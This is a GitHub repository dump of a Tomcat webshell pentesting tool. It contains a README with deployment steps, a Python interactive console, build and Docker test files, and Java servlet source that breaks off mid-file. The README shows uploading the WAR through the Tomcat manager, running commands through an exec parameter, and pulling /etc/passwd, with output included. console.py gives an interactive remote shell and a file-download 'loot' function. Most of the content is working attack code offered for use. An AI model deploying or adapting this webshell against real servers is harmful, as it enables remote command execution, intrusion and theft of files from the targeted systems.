├── .github ├── FUNDING.yml ├── compile.png ├── demo.mp4 ├── exec_code_web.png ├── manager.png ├── upload_a_plugin.png └── webshell_uploaded.png ├── Dockerfile ├── Makefile ├── README.md ├── console.py ├── test_env ├── Dockerfile ├── Makefile └── files │ ├── context.xml │ └── tomcat-users.xml ├── troubleshooting ├── README.md └── java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet │ ├── README.md │ ├── img │ ├── Screenshot 2022-05-15 at 12-39-06 HTTP Status 500 – Internal Server Error.png │ └── Screenshot 2022-05-15 at 12-40-42 HTTP Status 500 – Internal Server Error.png │ └── traceback.txt └── webshell ├── tomcat_10_and_upper ├── build.gradle ├── build.sh └── src │ └── main │ ├── java │ └── com │ │ └── podalirius │ │ └── ApiServlet.java │ └── webapp │ ├── WEB-INF │ └── web.xml │ └── api.jsp └── tomcat_9_and_lower ├── build.gradle ├── build.sh └── src └── main ├── java └── com │ └── podalirius │ └── ApiServlet.java └── webapp ├── WEB-INF └── web.xml └── api.jsp /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: p0dalirius 4 | patreon: Podalirius -------------------------------------------------------------------------------- /.github/compile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/compile.png -------------------------------------------------------------------------------- /.github/demo.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/demo.mp4 -------------------------------------------------------------------------------- /.github/exec_code_web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/exec_code_web.png -------------------------------------------------------------------------------- /.github/manager.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/manager.png -------------------------------------------------------------------------------- /.github/upload_a_plugin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/upload_a_plugin.png -------------------------------------------------------------------------------- /.github/webshell_uploaded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/webshell_uploaded.png -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | RUN apt-get -y -q update; \ 4 | apt-get -y -q install openjdk-8-jre gradle 5 | 6 | RUN mkdir -p /build/ 7 | WORKDIR /build/ 8 | VOLUME /build/ 9 | 10 | CMD ["bash", "/build/build.sh"] 11 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | .PHONY: build img 3 | 4 | IMGNAME := build_tomcat_webshell 5 | 6 | all : build tomcat_9_and_lower tomcat_10_and_upper 7 | 8 | clean: 9 | @rm -rf $(shell pwd)/webshell/tomcat_9_and_lower/dist/ 10 | @rm -rf $(shell pwd)/webshell/tomcat_10_and_upper/dist/ 11 | 12 | build: clean 13 | @docker build -t $(IMGNAME):latest -f Dockerfile . 14 | 15 | 16 | tomcat_9_and_lower: 17 | @docker run --rm -it -v $(shell pwd)/webshell/tomcat_9_and_lower/:/build/ $(IMGNAME) 18 | 19 | tomcat_10_and_upper: 20 | @docker run --rm -it -v $(shell pwd)/webshell/tomcat_10_and_upper/:/build/ $(IMGNAME) 21 | 22 | release: 23 | @echo "[+] Creating tomcat-webshells.tar.gz" 24 | @cd ./webshell/; rm ../tomcat-webshells.tar.gz; tar czvf ../tomcat-webshells.tar.gz -- \ 25 | ./tomcat_9_and_lower/dist/1.3.0/webshell.war \ 26 | ./tomcat_10_and_upper/dist/1.3.0/webshell.war 27 | echo "[+] Creating tomcat-webshells.zip" 28 | @cd ./webshell/; rm ../tomcat-webshells.zip; zip -r ../tomcat-webshells.zip -- \ 29 | ./tomcat_9_and_lower/dist/1.3.0/webshell.war \ 30 | ./tomcat_10_and_upper/dist/1.3.0/webshell.war 31 | 32 | shell: 33 | @docker exec -it $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') bash 34 | 35 | stop: 36 | @docker stop $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Apache Tomcat webshell application for RCE 2 | 3 |

4 | A webshell application and interactive shell for pentesting Apache Tomcat servers. 5 |
6 | GitHub release (latest by date) 7 | 8 | YouTube Channel Subscribers 9 |
10 |

11 | 12 | ## Features 13 | 14 | - [x] Webshell plugin for Apache Tomcat. 15 | - [x] Execute system commands via an API with `?action=exec`. 16 | - [x] Download files from the remote system to your attacking machine `?action=download`. 17 | 18 | ## Usage 19 | 20 | **Requirements**: You need to have the credentials of an high privilege account of the Apache Tomcat server. 21 | 22 | ### Step 1: Access the Tomcat manager and upload the webshell plugin 23 | 24 | First of all, you will need to access the Apache Tomcat `/manager` page at http://127.0.0.1:10080/manager/html, and connect to it with an high privilege account of the Apache Tomcat server. 25 | 26 | ![](./.github/manager.png) 27 | 28 | Then choose the WAR file of the webshell plugin and click on "Deploy": 29 | 30 | ![](./.github/upload_a_plugin.png) 31 | 32 | And the application is deployed: 33 | 34 | ![](./.github/webshell_uploaded.png) 35 | 36 | ### Step 2.1: Executing commands 37 | 38 | You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/webshell/api.jsp with `action=exec&cmd=id`: 39 | 40 | ```sh 41 | $ curl -X POST 'http://127.0.0.1:10080/webshell/api.jsp' --data "action=exec&cmd=id" 42 | {"stdout":"uid=0(root) gid=0(root) groups=0(root)\n","stderr":"","exec":["/bin/bash","-c","id"]} 43 | ``` 44 | 45 | You can also access it by a GET request from a browser: 46 | 47 | ![](./.github/exec_code_web.png) 48 | 49 | ### Step 2.2: Downloading files 50 | 51 | You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/webshell/api.jsp with `action=download&cmd=/etc/passwd`: 52 | 53 | ```sh 54 | $ curl -X POST 'http://127.0.0.1:10080/webshell/api.jsp' --data "action=download&path=/etc/passwd" -o- 55 | root:x:0:0:root:/root:/bin/bash 56 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 57 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 58 | sys:x:3:3:sys:/dev:/usr/sbin/nologin 59 | sync:x:4:65534:sync:/bin:/bin/sync 60 | games:x:5:60:games:/usr/games:/usr/sbin/nologin 61 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 62 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 63 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 64 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 65 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 66 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 67 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 68 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 69 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 70 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 71 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 72 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 73 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 74 | ``` 75 | 76 | ### Step 3: The interactive console 77 | 78 | When your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files. 79 | 80 | https://user-images.githubusercontent.com/79218792/168489455-023b52c5-e8a9-4cd9-96ca-f26c14304236.mp4 81 | 82 | ## Development 83 | 84 | If you need to compile this plugin, you can use the docker image provided, simply type `make` to build your plugin present in the `webshell` folder. Output WAR files will be put in the [`./webshell/dist/`](./webshell/dist/) folder. 85 | 86 | ![](./.github/compile.png) 87 | 88 | Then if you need to test the plugin locally, you can start an Apache Tomcat instance with the test environnement in [./test_env/](./test_env/). 89 | 90 | ## References 91 | - https://linuxtut.com/create-a-java-servlet-and-jsp-war-file-to-deploy-to-apache-tomcat-9-in-gradle-eb464/ 92 | -------------------------------------------------------------------------------- /console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : console.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 15 May 2022 6 | 7 | 8 | import argparse 9 | import os 10 | import readline 11 | import requests 12 | import json 13 | 14 | 15 | class CommandCompleter(object): 16 | def __init__(self): 17 | self.options = { 18 | "help": [], 19 | "download": [], 20 | "exit": [] 21 | } 22 | 23 | def complete(self, text, state): 24 | if state == 0: 25 | if len(text) == 0: 26 | self.matches = [s for s in self.options.keys()] 27 | elif len(text) != 0: 28 | self.matches = [s for s in self.options.keys() if s and s.startswith(text)] 29 | try: 30 | return self.matches[state] + " " 31 | except IndexError: 32 | return None 33 | 34 | 35 | readline.set_completer(CommandCompleter().complete) 36 | readline.parse_and_bind('tab: complete') 37 | readline.set_completer_delims('\n') 38 | 39 | 40 | def parseArgs(): 41 | print("[+] CLI console for Apache tomcat webshell - by Remi GASCOU (Podalirius)") 42 | print("[+] src: https://github.com/p0dalirius/Tomcat-plugin-webshell\n") 43 | 44 | parser = argparse.ArgumentParser(description="Interactive console for Apache Tomcat webshell plugin") 45 | parser.add_argument("-t", "--target", default=None, required=True, help="Apache Tomcat target instance") 46 | parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)") 47 | parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)") 48 | 49 | group_configuration = parser.add_argument_group("Advanced configuration") 50 | group_configuration.add_argument("-PI", "--proxy-ip", default=None, type=str, help="Proxy IP.") 51 | group_configuration.add_argument("-PP", "--proxy-port", default=None, type=int, help="Proxy port") 52 | group_configuration.add_argument("-rt", "--request-timeout", default=30, type=int, help="Set the timeout of HTTP requests.") 53 | group_configuration.add_argument("-H", "--http-header", dest="http_headers", default=[], type=str, action='append', help="Custom HTTP headers to add to requests.") 54 | 55 | return parser.parse_args() 56 | 57 | 58 | def remote_exec(api_endpoint, cmd, headers={}, proxies=None, verbose=False): 59 | try: 60 | r = requests.post( 61 | api_endpoint, 62 | data={ 63 | "action": "exec", 64 | "cmd": cmd, 65 | }, 66 | proxies=proxies, 67 | headers=headers 68 | ) 69 | if r.status_code == 200: 70 | data = r.json() 71 | if verbose: 72 | print(json.dumps(data, indent=4)) 73 | if len(data["stdout"].strip()) != 0: 74 | print(data["stdout"].strip()) 75 | 76 | if len(data["stderr"].strip()) != 0: 77 | for line in data["stderr"].strip().split('\n'): 78 | print("\x1b[91m%s\x1b[0m" % line) 79 | except Exception as e: 80 | print(e) 81 | 82 | 83 | def remote_download(api_endpoint, remote_path, local_path="./loot/", headers={}, proxies=None, verbose=False): 84 | def b_filesize(content): 85 | l = len(content) 86 | units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB'] 87 | for k in range(len(units)): 88 | if l < (1024 ** (k + 1)): 89 | break 90 | return "%4.2f %s" % (round(l / (1024 ** (k)), 2), units[k]) 91 | 92 | # 93 | r = requests.post( 94 | api_endpoint, 95 | data={ 96 | "action": "download", 97 | "path": remote_path, 98 | }, 99 | proxies=proxies, 100 | headers=headers 101 | ) 102 | 103 | if r.status_code == 200: 104 | if "application/json" in r.headers["Content-Type"]: 105 | data = r.json() 106 | print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", data["error"])) 107 | return False 108 | else: 109 | print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path)) 110 | dir = local_path + os.path.dirname(remote_path) 111 | if not os.path.exists(dir): 112 | os.makedirs(dir, exist_ok=True) 113 | f = open(local_path + remote_path, "wb") 114 | f.write(r.content) 115 | f.close() 116 | return True 117 | else: 118 | print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", remote_path)) 119 | return False 120 | 121 | 122 | def detect_api_endpoint(target, headers={}, proxies=None, verbose=False): 123 | print("[+] Searching for valid API endpoints ...") 124 | SERVLET_API = "%s/webshell/api" % target 125 | JSP_API = "%s/webshell/api.jsp" % target 126 | 127 | r = requests.post(SERVLET_API, data={}, proxies=proxies, headers=headers) 128 | if verbose: 129 | print(" | [HTTP %03d] on %s" % (r.status_code, r.url)) 130 | 131 | if r.status_code == 200: 132 | return SERVLET_API 133 | else: 134 | r = requests.post(JSP_API, data={}, proxies=proxies, headers=headers) 135 | if verbose: 136 | print(" | [HTTP %03d] on %s" % (r.status_code, r.url)) 137 | 138 | if r.status_code == 200: 139 | return JSP_API 140 | else: 141 | return None 142 | 143 | 144 | def show_help(): 145 | print(" - %-15s %s " % ("download", "Downloads a file from the remote server.")) 146 | print(" - %-15s %s " % ("help", "Displays this help message.")) 147 | print(" - %-15s %s " % ("exit", "Exits the script.")) 148 | return 149 | 150 | 151 | if __name__ == '__main__': 152 | options = parseArgs() 153 | 154 | http_proxies = None 155 | if options.proxy_ip is not None: 156 | if options.proxy_port is not None: 157 | http_proxies = { 158 | "http": "http://%s:%d/" % (options.proxy_ip, options.proxy_port), 159 | "https": "https://%s:%d/" % (options.proxy_ip, options.proxy_port) 160 | } 161 | else: 162 | http_proxies = { 163 | "http": "http://%s:80/" % (options.proxy_ip), 164 | "https": "https://%s:443/" % (options.proxy_ip) 165 | } 166 | 167 | if not options.target.startswith("https://") and not options.target.startswith("http://"): 168 | options.target = "http://" + options.target 169 | options.target = options.target.rstrip('/') 170 | 171 | if options.insecure_tls: 172 | # Disable warings of insecure connection for invalid certificates 173 | requests.packages.urllib3.disable_warnings() 174 | # Allow use of deprecated and weak cipher methods 175 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 176 | try: 177 | requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 178 | except AttributeError: 179 | pass 180 | 181 | api_endpoint = detect_api_endpoint( 182 | target=options.target, 183 | verbose=options.verbose, 184 | proxies=http_proxies 185 | ) 186 | 187 | if api_endpoint is not None: 188 | print("[+] Using API endpoint '%s'\n" % api_endpoint) 189 | 190 | running = True 191 | while running: 192 | cmd = input("[webshell]> ").strip() 193 | args = cmd.lower().split(" ") 194 | 195 | if args[0] == "exit": 196 | running = False 197 | elif args[0] == "help": 198 | show_help() 199 | elif args[0] == "download": 200 | if len(args) != 2 and len(args) != 3: 201 | print("Usage: download [localpath]") 202 | elif len(args) == 2: 203 | remote_download( 204 | api_endpoint, 205 | remote_path=args[1], 206 | proxies=http_proxies, 207 | headers=options.http_headers 208 | ) 209 | elif len(args) == 3: 210 | remote_download( 211 | api_endpoint, 212 | remote_path=args[1], 213 | local_path=args[2], 214 | proxies=http_proxies, 215 | headers=options.http_headers 216 | ) 217 | else: 218 | remote_exec( 219 | api_endpoint, 220 | cmd, 221 | verbose=options.verbose, 222 | proxies=http_proxies, 223 | headers=options.http_headers 224 | ) 225 | else: 226 | print("\n[!] No valid API endpoint detected, exitting...") -------------------------------------------------------------------------------- /test_env/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tomcat:9.0.62-jdk11-openjdk-slim-buster 2 | 3 | # https://octopus.com/blog/deployable-tomcat-docker-containers 4 | 5 | RUN mv /usr/local/tomcat/webapps /usr/local/tomcat/webapps2 ;\ 6 | mv /usr/local/tomcat/webapps.dist /usr/local/tomcat/webapps 7 | 8 | COPY ./files/context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml 9 | COPY ./files/tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml 10 | 11 | CMD ["catalina.sh", "run"] 12 | -------------------------------------------------------------------------------- /test_env/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build img 2 | 3 | IMGNAME := test_tomcat_upload_plugin 4 | PORT := 10080 5 | 6 | all : build 7 | 8 | build: 9 | docker build -t $(IMGNAME):latest -f Dockerfile . 10 | 11 | start: 12 | docker run --rm -it -p $(PORT):8080 $(IMGNAME) 13 | 14 | background: 15 | docker run --rm -d -p $(PORT):8080 $(IMGNAME) 16 | 17 | shell: 18 | docker exec -it $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') bash 19 | 20 | stop: 21 | docker stop $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') -------------------------------------------------------------------------------- /test_env/files/context.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | -------------------------------------------------------------------------------- /test_env/files/tomcat-users.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /troubleshooting/README.md: -------------------------------------------------------------------------------- 1 | # Troubleshooting 2 | 3 | ## Common problems 4 | 5 | - [Can't access uploaded plugin: java.lang.ClassNotFoundException: javax.servlet.http.HttpServlet](./java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/README.md) -------------------------------------------------------------------------------- /troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/README.md: -------------------------------------------------------------------------------- 1 | # Can't access uploaded plugin: java.lang.ClassNotFoundException: javax.servlet.http.HttpServlet 2 | 3 | ## Error 4 | 5 | Uploading a plugin works fine, but when you access it you get a HTTP error 500: 6 | 7 | ![]() 8 | 9 | Let's look at the last part of this traceback: 10 | 11 | ``` 12 | HTTP Status 500 – Internal Server Error 13 | 14 | Type Exception Report 15 | 16 | Message Error instantiating servlet class [com.example.MyServlet] 17 | 18 | Description The server encountered an unexpected condition that prevented it from fulfilling the request. 19 | 20 | Exception 21 | 22 | ... 23 | 24 | java.lang.ClassNotFoundException: javax.servlet.http.HttpServlet 25 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1449) 26 | ... 27 | 28 | Note The full stack trace of the root cause is available in the server logs. 29 | Apache Tomcat/10.0.20 30 | ``` 31 | 32 | ## Solving this problem 33 | 34 | To compile for Tomcat 10.x you need to change the imports in the `build.gradle` file, to include `jakarta.*` imports: 35 | 36 | **Tomcat 9:** 37 | 38 | ``` 39 | dependencies { 40 | // Java Servlet 4.0 API 41 | // https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api 42 | providedCompile 'javax.servlet:javax.servlet-api:4.0.1' 43 | providedCompile 'org.json:json:20080701' 44 | } 45 | ``` 46 | 47 | **Tomcat 10:** 48 | 49 | ``` 50 | dependencies { 51 | // Java Servlet 4.0 API 52 | // https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api 53 | providedCompile 'jakarta.servlet:jakarta.servlet-api:4.0.1' 54 | providedCompile 'org.json:json:20080701' 55 | } 56 | ``` 57 | 58 | ## References 59 | 60 | - https://stackoverflow.com/questions/66711660/tomcat-10-x-throws-java-lang-noclassdeffounderror-on-javax-servlet 61 | - https://stackoverflow.com/questions/65703840/tomcat-casting-servlets-to-javax-servlet-servlet-instead-of-jakarta-servlet-http/65704617#65704617 -------------------------------------------------------------------------------- /troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/img/Screenshot 2022-05-15 at 12-39-06 HTTP Status 500 – Internal Server Error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/img/Screenshot 2022-05-15 at 12-39-06 HTTP Status 500 – Internal Server Error.png -------------------------------------------------------------------------------- /troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/img/Screenshot 2022-05-15 at 12-40-42 HTTP Status 500 – Internal Server Error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/img/Screenshot 2022-05-15 at 12-40-42 HTTP Status 500 – Internal Server Error.png -------------------------------------------------------------------------------- /troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/traceback.txt: -------------------------------------------------------------------------------- 1 | HTTP Status 500 – Internal Server Error 2 | 3 | Type Exception Report 4 | 5 | Message Error instantiating servlet class [com.example.MyServlet] 6 | 7 | Description The server encountered an unexpected condition that prevented it from fulfilling the request. 8 | 9 | Exception 10 | 11 | jakarta.servlet.ServletException: Error instantiating servlet class [com.example.MyServlet] 12 | org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542) 13 | org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) 14 | org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690) 15 | org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:356) 16 | org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399) 17 | org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) 18 | org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:867) 19 | org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1716) 20 | org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) 21 | org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) 22 | org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) 23 | org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) 24 | java.lang.Thread.run(Thread.java:750) 25 | 26 | Root Cause 27 | 28 | java.lang.NoClassDefFoundError: javax/servlet/http/HttpServlet 29 | java.lang.ClassLoader.defineClass1(Native Method) 30 | java.lang.ClassLoader.defineClass(ClassLoader.java:756) 31 | java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142) 32 | org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2527) 33 | org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:877) 34 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1413) 35 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1257) 36 | org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542) 37 | org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) 38 | org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690) 39 | org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:356) 40 | org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399) 41 | org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) 42 | org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:867) 43 | org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1716) 44 | org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) 45 | org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) 46 | org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) 47 | org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) 48 | java.lang.Thread.run(Thread.java:750) 49 | 50 | Root Cause 51 | 52 | java.lang.ClassNotFoundException: javax.servlet.http.HttpServlet 53 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1449) 54 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1257) 55 | java.lang.ClassLoader.defineClass1(Native Method) 56 | java.lang.ClassLoader.defineClass(ClassLoader.java:756) 57 | java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142) 58 | org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2527) 59 | org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:877) 60 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1413) 61 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1257) 62 | org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542) 63 | org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) 64 | org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690) 65 | org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:356) 66 | org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399) 67 | org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) 68 | org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:867) 69 | org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1716) 70 | org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) 71 | org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) 72 | org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) 73 | org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) 74 | java.lang.Thread.run(Thread.java:750) 75 | 76 | Note The full stack trace of the root cause is available in the server logs. 77 | Apache Tomcat/10.0.20 -------------------------------------------------------------------------------- /webshell/tomcat_10_and_upper/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'war' 3 | } 4 | 5 | repositories { 6 | mavenCentral() 7 | } 8 | 9 | dependencies { 10 | // Java Servlet 4.0 API 11 | // https://mvnrepository.com/artifact/jakarta.servlet/jakarta.servlet-api 12 | providedCompile 'jakarta.servlet:jakarta.servlet-api:4.0.2' 13 | compile 'org.json:json:20080701' 14 | compile 'org.apache.commons:commons-lang3:3.10' 15 | } 16 | 17 | // Java 8 18 | sourceCompatibility = 8 19 | targetCompatibility = 8 20 | 21 | // Application 22 | version = '1.3.0' 23 | -------------------------------------------------------------------------------- /webshell/tomcat_10_and_upper/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | log() { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}"; } 4 | info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; } 5 | warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; } 6 | 7 | VERSION="1.3.0" 8 | PROJECTNAME="webshell" 9 | 10 | #======================================================================================================================= 11 | 12 | info "Building for Apache Tomcat 10.x and upper" 13 | 14 | # Prepare configuration 15 | log "Setting version = '${VERSION}' in build.gradle ..." 16 | sed -i "s/version = .*/version = '${VERSION}'/g" build.gradle 17 | 18 | log "Starting build ..." 19 | gradle build 20 | 21 | # Distribution 22 | log "Copying final WAR files ..." 23 | if [[ ! -d ./dist/${VERSION}/ ]]; then mkdir -p ./dist/${VERSION}/; fi 24 | if [[ -f ./build/libs/build-${VERSION}.war ]]; then 25 | info "Saved to ./dist/${VERSION}/${PROJECTNAME}.war" 26 | cp ./build/libs/build-${VERSION}.war ./dist/${VERSION}/${PROJECTNAME}.war 27 | chmod 777 ./dist/${VERSION}/${PROJECTNAME}.war 28 | fi 29 | 30 | # Cleanup 31 | log "Cleanup build environnement ..." 32 | if [[ -d ./build/ ]]; then 33 | rm -rf ./build/; 34 | fi 35 | 36 | if [[ -d ./.gradle/ ]]; then 37 | rm -rf ./.gradle/; 38 | fi 39 | 40 | 41 | -------------------------------------------------------------------------------- /webshell/tomcat_10_and_upper/src/main/java/com/podalirius/ApiServlet.java: -------------------------------------------------------------------------------- 1 | package com.podalirius; 2 | 3 | import org.apache.commons.lang3.SystemUtils; 4 | import java.io.BufferedReader; 5 | import java.io.File; 6 | import java.io.FileInputStream; 7 | import java.io.InputStreamReader; 8 | import java.io.IOException; 9 | import java.io.PrintWriter; 10 | import java.io.Writer; 11 | import java.util.Map; 12 | import javax.servlet.annotation.WebServlet; 13 | import javax.servlet.http.HttpServlet; 14 | import javax.servlet.http.HttpServletRequest; 15 | import javax.servlet.http.HttpServletResponse; 16 | import javax.servlet.ServletException; 17 | import javax.servlet.ServletOutputStream; 18 | import org.json.JSONException; 19 | import org.json.JSONObject; 20 | 21 | 22 | @WebServlet("/api") 23 | public class ApiServlet extends HttpServlet { 24 | @Override 25 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 26 | String action = request.getParameter("action"); 27 | 28 | if (action.equals("exec")) { 29 | String cmd = request.getParameter("cmd"); 30 | action_exec(response, cmd); 31 | } else if (action.equals("download")) { 32 | String path = request.getParameter("path"); 33 | action_download(response, path); 34 | } else if (action.equals("upload")) { 35 | // TODO 36 | // String path = request.getParameter("path"); 37 | // action_upload(response, path); 38 | } 39 | } 40 | 41 | @Override 42 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 43 | String action = request.getParameter("action"); 44 | 45 | if (action.equals("exec")) { 46 | String cmd = request.getParameter("cmd"); 47 | action_exec(response, cmd); 48 | } else if (action.equals("download")) { 49 | String path = request.getParameter("path"); 50 | action_download(response, path); 51 | } else if (action.equals("upload")) { 52 | // 